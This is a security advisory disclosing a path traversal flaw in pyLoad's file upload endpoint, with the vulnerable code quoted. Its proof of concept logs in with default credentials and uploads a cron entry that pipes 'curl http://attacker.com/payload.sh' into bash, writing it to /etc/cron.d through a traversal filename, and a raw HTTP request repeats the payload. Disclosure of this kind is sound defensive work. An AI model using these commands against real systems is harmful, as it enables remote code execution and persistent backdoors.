PYSEC-2026-1823

Summary

An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to:

• Remote Code Execution (RCE)
• Local Privilege Escalation
• System-wide compromise
• Persistence and backdoors

Vulnerable Code

File: src/pyload/webui/app/blueprints/json_blueprint.py

@json_blueprint.route("/upload", methods=["POST"])
def upload():
    dir_path = api.get_config_value("general", "storage_folder")
    for file in request.files.getlist("file"):
        file_path = os.path.join(dir_path, "tmp_" + file.filename)  
        file.save(file_path) 

Issue: No sanitization or validation on file.filename, allowing traversal via ../../ sequences.

(Proof of Concept)

1. Clone and install pyLoad from source (pip install pyload-ng):

git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload

1. Or install via pip (PyPi) in virtualenv:

python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload

1. Login and obtain session token

curl -c cookies.txt -X POST http://127.0.0.1:8000/login \
  -d "username=admin&password=admin"

1. Create malicious cron payload

echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit

1. Upload file with path traversal filename

curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \
  -F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"

1. On the next cron tick, a reverse shell or payload will be triggered.

BurpSuite HTTP Request

POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Cookie: session=SESSION_ID_HERE
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e

--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor"
Content-Type: application/octet-stream

*/1 * * * * root curl http://attacker.com/payload.sh | bash
--------------------------d74496d66958873e--